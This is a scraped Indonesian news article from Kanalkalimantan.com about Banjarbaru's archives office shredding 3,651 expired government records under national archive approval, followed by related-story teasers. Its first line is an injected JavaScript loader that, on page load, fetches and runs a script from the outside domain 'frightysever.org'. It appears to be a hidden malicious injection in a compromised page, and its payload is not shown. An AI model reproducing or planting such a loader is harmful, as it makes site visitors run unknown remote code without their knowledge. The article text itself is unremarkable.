(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemusnahan arsip dilakukan oleh Dinas Arsip dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru sebagai langkah penting untuk mengelola dokumen secara efisien.
Pemusnahan arsip yang sudah tidak ada nilai guna atau habis masa retensi berlangsung di kantor Depo Arsip Darpusda Kota Banjarbaru, Senin (30/12/2024) pagi.
Sebanyak 3.651 berkas arsip dimusnahkan terdiri dari arsiap keuangan SPJ, pajak, pemerintahan, dan lainnya periode tahun 2000-2010 dan telah mendapat persetujuan pemusnahan dari Arsip Nasional Republik Indonesia (ANRI).
Baca juga: Tongkang Angkut Alat Berat Nyangkut di Jembatan Pasar Lama dan Merdeka
Hal itu diungkapkan Kepala Darpusda Kota Banjarbaru, Slamet Riyadi sebelum memulai pemusnahan arsip di kantor Depo Arsip Kota Banjarbaru.
“Pemusnahan arsip dilakukan tidak asal-asalan, tidak langsung dimusnahkan begitu saja, namun harus ikut peraturan yang berlaku dan paling penting dapat izin rekomendasi Kepala ANRI,” ujar Kepala Darpusda Kota Banjarbaru, Slamet Riyadi.
Arsip-arsip itu dikumpulkan dari hasil pembinaan dan penataan di masing-masing SKPD lingkup Pemerintah Kota Banjarbaru.
Baca juga: Aset Daerah Tersertifikasi, Pemkab HSU Beri Penghargaan ke ATR BPN HSU
Dimana, katanya, SKPD paling banyak menghasilkan arsip adalah Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD), RSD Idaman Banjarbaru, Dinas Pendidikan, hingga Dinas Kesehatan.
“Tentunya sudah ditata sesuai dengan ketentuan, mana yang harus dimusnahkan mana yang tidak. Arsip yang telah diserahkan ke depo arsip harus dengan catatan arsip telah didata, dihitung jumlah arsip, serta status arsipnya,” jelas Slamet Riyadi.
Tiga ribu lebih berkas arsip yang dimusnahkan dengan cara dicacah menggunakan mesin dan dihancurkan menjadi bubur kertas. Tidak boleh dibakar maupun dibuang begitu saja.
Baca juga: Dilengkapi Lintasan Karet Sintetis, Stadion Lambung Mangkurat Pilihan Warga Olahraga Gratis
“Karena itu merupakan bukti otentik suatu peristiwa dikhawatirkan kalau tidak dicacah nanti akan disalahgunakan semisal bungkus macam-macam,” sebutnya.
Kegiatan ini dirangkai dengan penandatanganan berita acara pemusnahan arsip secara simbolis salah satunya oleh Asisten Administrasi Umum (Asisten III) Kota Banjarbaru, Dr Hj Rahmah Khairita yang turut memberikan sambutan mewakili Wali Kota Banjarbaru.
Dr Rahmah Khairita menyampaikan apresiasi atas langkah progresif yang dilakukan oleh BPKAD dalam pengelolaan arsip keuangan.
Baca juga: Dewa 19 Guncang Panggung Batfest 2024, Mulan Jameela Tampil Totalitas
Kegiatan pemusnahan arsip BPKAD ini merupakan langkah progresif dalam pengelolaan arsip keuangan.
“Salah satu tujuannya adalah sebagai upaya menjaga keamanan informasi arsip dari pihak-pihak yang tidak bertanggung jawab,†ungkap Rahmah Khairita.
Lebih lanjut, dia berharap agar seluruh Satuan Kerja Perangkat Daerah (SKPD) di lingkungan Pemerintah Kota Banjarbaru dapat melakukan penataan arsip sesuai dengan kaidah pengelolaan arsip yang berlaku. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.